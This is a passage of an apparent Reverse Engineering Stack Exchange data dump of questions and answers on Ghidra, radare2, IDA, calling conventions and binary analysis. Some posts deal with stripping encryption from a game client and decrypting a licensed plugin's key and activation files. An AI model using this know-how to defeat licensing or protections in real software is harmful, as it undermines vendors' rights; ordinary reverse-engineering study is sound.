  <row Id="23330" PostTypeId="1" AcceptedAnswerId="23373" CreationDate="2020-02-24T04:59:34.720" Score="3" ViewCount="1649" Body="&lt;p&gt;Using ghidra's python scripting engine, I'd like to create a struct which contains a big endian, unsigned integer. This field is always big endian, no matter what the endainess of the binary CPU is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def uint32b():&#xA;    dt = UnsignedIntegerDataType()&#xA;    for s in dt.getSettingsDefinitions():&#xA;        if isinstance(s, EndianSettingsDefinition):&#xA;            s.setBigEndian(dt.getDefaultSettings(), False)&#xA;    return dt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when the struct is applied to data, I'm still seeing a little-endian value. The field's &quot;Default Settings -&gt; Endian&quot;  still set to &quot;Default&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xu89M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xu89M.png&quot; alt=&quot;default settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31213" LastActivityDate="2020-03-02T09:39:32.473" Title="ghidra-python: create struct with big endian field" Tags="|python|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23332" PostTypeId="1" AcceptedAnswerId="23333" CreationDate="2020-02-24T15:27:30.397" Score="4" ViewCount="1770" Body="&lt;p&gt;As the title says, I am trying to change the default disassembly syntax in Radare2 from Intel to AT&amp;amp;T. Looking up documentation, I found the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00405e1c]&amp;gt; e asm.syntax=att&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, changing syntax this way does not persist across sessions. Is there a command I can use to save settings permanently?&lt;/p&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2020-02-24T16:49:53.213" Title="How do I permanently change the disassembly syntax in Radare2?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23333" PostTypeId="2" ParentId="23332" CreationDate="2020-02-24T15:57:26.433" Score="6" Body="&lt;p&gt;From &lt;code&gt;Radare2&lt;/code&gt; &lt;a href=&quot;https://radare.gitbooks.io/radare2book/configuration/intro.html&quot; rel=&quot;noreferrer&quot;&gt;book&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The core reads &lt;code&gt;~/.config/radare2/radare2rc&lt;/code&gt; while starting. You can add&#xA;  &lt;code&gt;e&lt;/code&gt; commands to this file to tune the radare2 configuration to your&#xA;  taste.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="53" LastEditDate="2020-02-24T16:49:53.213" LastActivityDate="2020-02-24T16:49:53.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23339" PostTypeId="1" CreationDate="2020-02-25T14:33:15.500" Score="2" ViewCount="143" Body="&lt;p&gt;Assume we’re on an x86-64 machine and that we have read-access to the state of a program at a given instant, but we don’t have debugging symbols; in particular, we can read the program’s address space and the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to reliably determine the depth of the call stack? Under which assumptions (e.g., calling conventions)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the &lt;em&gt;depth of the call stack&lt;/em&gt; I mean the &lt;em&gt;number of call instructions&lt;/em&gt; minus the &lt;em&gt;number of ret instructions&lt;/em&gt; that have happened in total in the course of the execution of the program. In the following pseudo trace, the number in the bracket is the depth of the call stack after the instruction in the respective line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add eax ebx [0]&#xA;...&#xA;call 0x1234 [1]&#xA;call 0x2345 [2]&#xA;call 0x3456 [3]&#xA;add eax ebx [3]&#xA;jmp 0x4567  [3]&#xA;...&#xA;ret         [2]&#xA;...&#xA;ret         [1]&#xA;call 0x1234 [2]&#xA;...&#xA;ret         [1]&#xA;ret         [0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’m not yet an expert in x86, calling convention and the stack layout. However, I vaguely suppose that one can “walk” the stack with the help of the &lt;code&gt;ebp&lt;/code&gt; and &lt;code&gt;esp&lt;/code&gt; registers.&lt;/p&gt;&#xA;" OwnerUserId="31228" LastActivityDate="2020-03-26T08:42:28.623" Title="Estimate depth of call stack without symbols" Tags="|callstack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23340" PostTypeId="2" ParentId="23339" CreationDate="2020-02-25T15:23:10.890" Score="2" Body="&lt;p&gt;&lt;code&gt;ret&lt;/code&gt; instructions are not going to the call stack. When a function executes &lt;code&gt;call&lt;/code&gt;, the next instruction address is pushed to the stack and when &lt;code&gt;ret&lt;/code&gt; instruction is executed, &lt;code&gt;eip&lt;/code&gt; is updated with the next instruction from the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the next instruction address is popped from the stack by &lt;code&gt;ret&lt;/code&gt;, the address at the stack will most likely be overwritten by a stack frame of a function. Therefore it's impossible to know at a given time, how many calls were made until this point from the beginning - what you call &lt;code&gt;depth of the call stack&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible implementation of the current depth will be parsing the values from &lt;code&gt;esp&lt;/code&gt; to the bottom of the stack, looking for pointers - values that point to the &lt;code&gt;.text&lt;/code&gt; or any executable page of your memory. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-25T15:23:10.890" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23341" PostTypeId="1" AcceptedAnswerId="23342" CreationDate="2020-02-26T13:47:40.060" Score="-1" ViewCount="347" Body="&lt;p&gt;I am reversing an application using IDA. I have found a small subroutine that returns information at the end of that subroutine. However I would like to see the subroutine that uses this small subroutine I found and see how it uses the information returned by the small subroutine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to this, is what Im trying to do a simple task, if so how can I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help !&lt;/p&gt;&#xA;" OwnerUserId="31196" LastActivityDate="2020-02-26T13:49:44.037" Title="How to find where a subroutine is being called (ida)" Tags="|ida|disassembly|decompilation|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23342" PostTypeId="2" ParentId="23341" CreationDate="2020-02-26T13:49:44.037" Score="1" Body="&lt;p&gt;It called &lt;code&gt;x-refs&lt;/code&gt;. Go to the beginning of your routine, and press &lt;code&gt;ctrl+x&lt;/code&gt; from disassembly view, or just &lt;code&gt;x&lt;/code&gt; from the decompile view.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-26T13:49:44.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23344" PostTypeId="1" CreationDate="2020-02-26T16:56:50.923" Score="1" ViewCount="356" Body="&lt;p&gt;As per this already answered question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11396/how-to-get-the-cpu-architecture-via-idapython&quot;&gt;How to get the CPU architecture via Idapython?&lt;/a&gt;, for reasons I'm unable to figure out, both inf.is_64bit() and inf.is_32bit() are not working for me. I'm using IDA C++ SDK v7.1. Even if the executable in the database is 64-bit, it still goes through the 32-bit check. Any idea why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="31236" LastEditorUserId="31236" LastEditDate="2020-02-26T17:22:24.733" LastActivityDate="2023-07-14T23:06:22.607" Title="IDA Pro SDK APIs inf.is_64bit() and inf.is_32bit() are not working as expected!" Tags="|idapro-sdk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23346" PostTypeId="2" ParentId="13846" CreationDate="2020-02-26T19:25:17.167" Score="1" Body="&lt;p&gt;Run this .idc script to export all user-defined functions name. Script tested on IDA 7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For IDA &amp;lt; 7.0: please use function &lt;strong&gt;hasUserName(addr)&lt;/strong&gt; instead of &lt;strong&gt;has_user_name(addr)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static FuncDump(start)&#xA;{&#xA;    auto ea, str, count, ref;&#xA;    auto end;&#xA;    auto teststr;&#xA;&#xA;    ea = start;&#xA;&#xA;    while( ea != BADADDR )&#xA;    {&#xA;        str = GetFunctionName(ea);&#xA;        if( str != 0 )&#xA;        {&#xA;            end = FindFuncEnd(ea);&#xA;&#xA;            count = 0;&#xA;            ref = RfirstB(ea);&#xA;            while(ref != BADADDR)&#xA;            {&#xA;                count = count + 1;&#xA;                ref = RnextB(ea, ref);&#xA;            }&#xA;&#xA;            teststr = sprintf(&quot;sub_%X&quot;, ea);&#xA;            if(has_user_name(GetFlags(ea)) &amp;amp;&amp;amp; !((GetFunctionFlags(ea) &amp;amp; FUNC_LIB) == FUNC_LIB) &amp;amp;&amp;amp; teststr != str ) {&#xA;                Message(&quot;-s 0x%X=%s\n&quot;, ea, str );&#xA;            }&#xA;            //Message(&quot;%s, 0x%d, 0x%x, 0x%x, 0x%x, %d\n&quot;, str, count, ea, end, end-ea, end-ea   );&#xA;        }&#xA;&#xA;        ea = NextFunction(ea);&#xA;    }&#xA;}&#xA;&#xA;static main() &#xA;{&#xA;    Message(&quot;FuncDump: Start\n&quot;);&#xA;&#xA;    FuncDump(0x40000);&#xA;&#xA;    Message(&quot;FuncDump: Done\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31238" LastActivityDate="2020-02-26T19:25:17.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23347" PostTypeId="2" ParentId="23344" CreationDate="2020-02-27T01:22:50.367" Score="1" Body="&lt;p&gt;I figured it out. To determine if the binary is&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;32-bit: (inf.is_32bit() &amp;amp;&amp;amp; !inf.is_64bit())&lt;/li&gt;&#xA;&lt;li&gt;64-bit: (inf.is_64bit() &amp;amp;&amp;amp; inf.is_32bit())&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As of IDA 8.x you can find the following in &lt;code&gt;ida.hpp&lt;/code&gt; which clarifies the above (trimmed to be more concise):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// unfortunately the name inf_is_32bit was used in the past to mean inf_is_32bit_or_higher.&#xA;// it was misleading, this is why we have more explicit names now.&#xA;bool inf_is_32bit_or_higher(void);&#xA;bool inf_is_32bit_exactly(void);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31236" LastEditorUserId="245" LastEditDate="2023-07-14T23:06:22.607" LastActivityDate="2023-07-14T23:06:22.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23349" PostTypeId="1" CreationDate="2020-02-27T17:26:38.973" Score="1" ViewCount="531" Body="&lt;p&gt;I am reversing an old Path of Exile client with the purpose of building an emulator.  I managed to reach the character select screen in a newer, 64-bit client but I am struggling to make the same progress in an older 32-bit client.  FWIW they use the same encryption setup, CryptoPP library and Salsa20 with public key encryption.  I'm just trying to NOP the encrypt functions so I can ignore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found function calls to &lt;code&gt;Call EDX&lt;/code&gt; both shortly before &lt;code&gt;send&lt;/code&gt; and shortly after &lt;code&gt;recv&lt;/code&gt; and these are the only function calls that seem likely to be crypt related.  After NOPing the two functions, I did indeed confirm that the first login packet sends the username in plaintext so I think my encryption skip is good.  But the client crashes upon receiving my second server packet.  The unmodified client complains at this point about being unable to deserialise the packet I am sending.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am referencing a huge (600MB) collection of decrypted packets someone very generously shared with me in order to craft my server responses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is this - where should I look next?&lt;/strong&gt;  I am thinking of setting API Monitor to just watch every call made by the exe to see the last few things that happen as so far I've only been monitoring the network related calls.  Or should I first confirm that the calls I'm NOPing are the only crypt related functions?  I'm still new to this and unsure where my time is best spent.  Thanks for any general insight you can provide!&lt;/p&gt;&#xA;" OwnerUserId="31250" LastActivityDate="2020-02-28T13:06:14.230" Title="NOPed encrypt/decrypt functions in a Path of Exile client and now it crashes without message. Next step?" Tags="|ida|windows|encryption|networking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23350" PostTypeId="2" ParentId="17663" CreationDate="2020-02-27T17:38:20.780" Score="5" Body="&lt;p&gt;While not a definitive way of determining if GCC OR MSVC (Visual Studio) was used, the presence of the Rich header does determine whether Microsoft's link.exe (MS VC Toolset's linker) was used. (Note: Newer Visual Studio also supports building with clang)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get that it's officially undocumented, but it's arguably the most publicly well-known and documented &lt;em&gt;undocumented&lt;/em&gt; PE structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link.exe always inserts the Rich header, there's no way to tell it not to. There's even a request on visualstudio.com to add a switch to remove it, but the official response is that there's no way currently: &lt;a href=&quot;https://developercommunity.visualstudio.com/idea/740443/add-linker-option-to-strip-rich-stamp-from-exe-hea.html&quot; rel=&quot;noreferrer&quot;&gt;https://developercommunity.visualstudio.com/idea/740443/add-linker-option-to-strip-rich-stamp-from-exe-hea.html&lt;/a&gt;. They are also likely never going to remove this header even with &quot;developer privacy&quot; as the stated concern because the information contained is build environment related (not personally identifiable usually) and is currently a very popular way to loosely link malware attribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, MinGW, GCC, and others do not insert this header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want some python code to detect the presence of the Rich header (the pefile module is packed full of features to also parse and manipulate headers):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pefile import PE&#xA;&#xA;pe = PE('/path/to/file.exe')&#xA;&#xA;rich_header = pe.RICH_HEADER&#xA;&#xA;return rich_header is not None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;rich_header is None&lt;/code&gt; then there is no header present, otherwise, this contains the header and its values.&lt;/p&gt;&#xA;" OwnerUserId="31251" LastActivityDate="2020-02-27T17:38:20.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23351" PostTypeId="2" ParentId="23349" CreationDate="2020-02-27T19:38:17.347" Score="2" Body="&lt;p&gt;Depending on the calling convention, the indirect call you NOPped out might end in &quot;RET nn&quot;. IIRC this is in fact the case in Microsoft's variant of the x86 &lt;code&gt;thiscall&lt;/code&gt; convention. If you NOP the call out, &lt;code&gt;ESP&lt;/code&gt; is wrong after the call. This is harmless if &lt;code&gt;ESP&lt;/code&gt; is no longer used in that function, and it ends in a standard epilog that uses &lt;code&gt;LEAVE&lt;/code&gt; or &lt;code&gt;MOV ESP, EBP&lt;/code&gt;, but it can also cause very weird crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is that the function you do no longer call returns a C++ object. The calling convention in this case is that the called function constructs the object, but the callee has to destruct it later. If you NOP out the construction, it will result in destructing uninitialized memory, which is also likely to crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I don't think its the second problem, because that would manifest on x64 and x86, and not just on 32-bit binaries - but I won't make any hard claims, because destructing an uninitialized object might luckily not crash by chance.&lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2020-02-27T19:38:17.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23352" PostTypeId="1" AcceptedAnswerId="32675" CreationDate="2020-02-27T22:23:38.777" Score="0" ViewCount="1326" Body="&lt;p&gt;While I was reversing a binary I noticed that IDA Pro had adjusted the pseudocode that initially was generated. This happened after I started reversing the binary and renamed functions and variables to more appropriate names. IDA Pro had then &quot;prettified&quot; or re-analyzed the pseudocode somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what keys I pressed or options I clicked to achieve this, but it was extremely useful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I replicate this?&lt;/p&gt;&#xA;" OwnerUserId="31254" LastEditorUserId="245" LastEditDate="2020-02-28T07:53:19.977" LastActivityDate="2024-01-27T15:16:15.577" Title="Re-analyzing pseudocode IDA Pro" Tags="|hexrays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23354" PostTypeId="2" ParentId="23349" CreationDate="2020-02-28T13:06:14.230" Score="0" Body="&lt;p&gt;Turns out I was looking at the wrong part of the equation.  The encrypt/decrypt is actually being bypassed correctly, but I was still sending the key as the first packet since that is what works in later versions.  In this particular client, I had to skip sending the key altogether and just start with the &quot;Login Success!&quot; packet.  Once I did this, I got to the character select.  Thanks for the responses!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YefGy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YefGy.jpg&quot; alt=&quot;I&amp;#39;m in!  Just 1 billion more steps to go...&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31250" LastActivityDate="2020-02-28T13:06:14.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23358" PostTypeId="2" ParentId="23352" CreationDate="2020-02-28T20:43:14.827" Score="3" Body="&lt;p&gt;While in the pseudocode view pressing &lt;kbd&gt;F5&lt;/kbd&gt; will re-decompile the current function.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2020-02-28T20:43:14.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23359" PostTypeId="1" AcceptedAnswerId="23396" CreationDate="2020-02-29T04:02:44.657" Score="6" ViewCount="3578" Body="&lt;p&gt;I wrote a C program that constructs a ROP payload and sends it to &lt;code&gt;stdout&lt;/code&gt;. Using Radare2's debug mode, how would I pipe this output to a binary I am trying to exploit that accepts input on &lt;code&gt;stdin&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if my compiled C program is &lt;code&gt;exp&lt;/code&gt; and the binary I am exploiting is &lt;code&gt;vuln&lt;/code&gt;, I want to execute &lt;code&gt;./exp | ./vuln&lt;/code&gt; in Radare2's debug mode so I can see how my payload corrupts memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16428/debugging-with-radare2-using-two-terminals&quot;&gt;this post&lt;/a&gt; but, correct me if I am wrong, it doesn't seem to answer my question and just describes how to use a second terminal for input/output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I have found a workaround for the time being, but it is rather annoying to do repeatedly when I make changes. I first redirect the output to a new a file: &lt;code&gt;./exp &amp;gt; exp.output&lt;/code&gt; and then make a &lt;code&gt;rarun2&lt;/code&gt; script as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdin=./exp.output&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then I run things via &lt;code&gt;r2 -e dbg.profile=dbg.rr2 -d vuln&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31161" LastEditorUserId="31161" LastEditDate="2020-02-29T04:44:43.317" LastActivityDate="2020-03-07T15:15:49.383" Title="Radare2 Debugging: How do I pipe a program's output to another's input?" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23360" PostTypeId="1" CreationDate="2020-02-29T05:23:51.840" Score="0" ViewCount="3459" Body="&lt;p&gt;I have a game plugin that enables the lua script encryption.I tried to decode it but it seems used many useless encode method to let you cannot understand it.It seem like some enctypted lua script there,But they are something different.(&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21759/decrypting-lua-files&quot;&gt;Decrypting Lua Files&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main file is win.xpl,a dll file.And i decode it with IDA and it seems to read the init .secured file first,and read main.key and serial.key(they all encrypted)&#xA;And it read acturl.dat to get activation link.Sadly,they all encrypted.All encrypted lua script is .secured and it's unreadable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some can tell me what encryption is used?Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main program file:&lt;a href=&quot;https://drive.google.com/open?id=1tUMcOPEFA0alc0lSHvT3YCKvR2llclJ2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1tUMcOPEFA0alc0lSHvT3YCKvR2llclJ2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i found a vaild main.key file:&lt;a href=&quot;https://drive.google.com/open?id=11unjtWBKqrbhlKKDXA6G3lmWemFaFbDx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=11unjtWBKqrbhlKKDXA6G3lmWemFaFbDx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the init main file:&lt;a href=&quot;https://drive.google.com/open?id=1OSpgGsiJsqe7H3YO1dXYBQFlaozXNDTB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1OSpgGsiJsqe7H3YO1dXYBQFlaozXNDTB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here maybe the acvation part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v45 = -2i64;&#xA;  v2 = a2;&#xA;  v3 = a1;&#xA;  XPLMGetVersions(&amp;amp;v42, &amp;amp;v44, &amp;amp;v43);&#xA;  v81 = 15i64;&#xA;  v80 = 0i64;&#xA;  Dst = 0;&#xA;  v4 = &quot;10&quot;;&#xA;  if ( v42 &amp;gt;= 11000 )&#xA;    v4 = &quot;11&quot;;&#xA;  sub_1800845F0(&amp;amp;Dst, v4, 2ui64);&#xA;  v5 = sub_1800978F0();&#xA;  v6 = sub_180097E40(v5, &amp;amp;v46);&#xA;  sub_18008AD20((__int64)&amp;amp;Filename, v6, &quot;/main.key&quot;);&#xA;  if ( v48 &amp;gt;= 0x10 )&#xA;  {&#xA;    v7 = (void *)v46;&#xA;    if ( v48 + 1 &amp;gt;= 0x1000 )&#xA;    {&#xA;      if ( v46 &amp;amp; 0x1F )&#xA;        invalid_parameter_noinfo_noreturn();&#xA;      v8 = *(_QWORD *)(v46 - 8);&#xA;      if ( v8 &amp;gt;= v46 )&#xA;        invalid_parameter_noinfo_noreturn();&#xA;      if ( v46 - v8 &amp;lt; 8 )&#xA;        invalid_parameter_noinfo_noreturn();&#xA;      if ( v46 - v8 &amp;gt; 0x27 )&#xA;        invalid_parameter_noinfo_noreturn();&#xA;      v7 = *(void **)(v46 - 8);&#xA;    }&#xA;    j_j__free_base(v7);&#xA;  }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the key is in the &quot;v6&quot;?&lt;/p&gt;&#xA;" OwnerUserId="31060" LastEditorUserId="31060" LastEditDate="2020-02-29T05:50:58.157" LastActivityDate="2020-02-29T05:50:58.157" Title="Lua script decode method?" Tags="|ida|c++|lua|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23361" PostTypeId="1" CreationDate="2020-02-29T13:43:32.680" Score="1" ViewCount="182" Body="&lt;p&gt;Any idea for more ways to get return value?&lt;br /&gt;&#xA;(No hooks, no hw/memory breakpoints, no call functions).&lt;br /&gt;&#xA;thx :)&lt;/p&gt;&#xA;&lt;p&gt;I tried to find a dword maybe that hold the function return, but I didn't find it.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to create an API.&lt;/p&gt;&#xA;" OwnerUserId="28030" LastEditorUserId="37138" LastEditDate="2021-07-27T23:40:04.973" LastActivityDate="2022-04-24T01:05:35.557" Title="Get function return value" Tags="|static-analysis|dynamic-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23362" PostTypeId="2" ParentId="23361" CreationDate="2020-02-29T14:50:51.203" Score="1" Body="&lt;p&gt;Every assembly architecture has it's own &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling conventions&lt;/a&gt;, which defines how arguments are passed to a function, and how they are returned. You need to identify your relevant calling conventions and act accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in &lt;code&gt;ARM&lt;/code&gt; assembly architecture, the register &lt;code&gt;R0&lt;/code&gt; holds the return value.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-29T14:50:51.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23364" PostTypeId="1" AcceptedAnswerId="23366" CreationDate="2020-03-01T08:47:59.300" Score="0" ViewCount="226" Body="&lt;p&gt;I am new to reverse engineering and I am trying to figure out exactly what xor is doing in this little program. I know if I put any number other than 0 I get a xor eax,3 so if I put in 1 I get 2 if I input 2 I get 1 if I input 7 I get 4 I am just trying to understand why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6FpHB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6FpHB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31277" LastActivityDate="2020-03-01T19:41:51.600" Title="xor eax,3 why does the input change the way it does?" Tags="|assembly|debugging|x64dbg|xor|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23366" PostTypeId="2" ParentId="23364" CreationDate="2020-03-01T09:59:12.820" Score="5" Body="&lt;p&gt;In &lt;code&gt;C&lt;/code&gt;, this function would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int fun()&#xA;{&#xA;    int a;&#xA;    // some code you haven't pasted here; probably scanf(&quot;%d&quot;, &amp;amp;a);...&#xA;    if (some_condition)&#xA;        a ^= 3; // xor a with 3&#xA;    else&#xA;        a ^= 2; // xor a with 2&#xA;    printf(&quot;a = %d.\n&quot;, a);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot say anything more about it having only the snipped you shared with us. If there is some magic, it is contained in the part you haven't uploaded.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2020-03-01T19:41:51.600" LastActivityDate="2020-03-01T19:41:51.600" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23367" PostTypeId="1" CreationDate="2020-03-01T10:37:43.170" Score="3" ViewCount="83" Body="&lt;p&gt;I would like to record all memory read operations that are performed by an application on a given input file, to help infer which specific parts of an input are relevant for the specific execution that opens the input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to achieve this for Windows applications, whereas the applications itself can be &lt;code&gt;x86&lt;/code&gt; or &lt;code&gt;x64&lt;/code&gt;, and the input is not of a specific format (e.g. solution should not only work with &lt;code&gt;JPG&lt;/code&gt;, but also &lt;code&gt;PNG&lt;/code&gt; or &lt;code&gt;XYZ&lt;/code&gt;). The solution is intended to work for applications without access to the source code (binaries only, no symbols).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input &lt;code&gt;foo.bar&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Input file is &lt;code&gt;100&lt;/code&gt; bytes long, binary format.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Program n:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Can be called like &lt;code&gt;&amp;gt; Program.exe foo.bar&lt;/code&gt;, or through &lt;kbd&gt;File&lt;/kbd&gt; &gt; &lt;kbd&gt;Open&lt;/kbd&gt; &gt; &lt;kbd&gt;foo.bar&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Opens foo.bar and parses offsets &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, and &lt;code&gt;z&lt;/code&gt; and does something with it (e.g. convert to something else, output somewhere, do some arithmetic with it and return result, etc.). For input &lt;code&gt;foo.bar2&lt;/code&gt;, the offsets that are worked with might be different.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Potential problems I can think of:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the developer uses something like &lt;code&gt;fseek (SetFilePointer?)&lt;/code&gt;, they would go directly to the relevant offset within the input. However, in many cases it might be more likely to open the whole input/file and then go to offsets based on other specific values within that input by using something like &lt;code&gt;offset_n+34&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are multiple methods how an input file can be opened or accessed by an application (&lt;code&gt;OpenFile&lt;/code&gt;, &lt;code&gt;CreateFileA/W&lt;/code&gt;, &lt;code&gt;MapViewOfFile&lt;/code&gt;, &lt;code&gt;OpenFileMappingA&lt;/code&gt;, 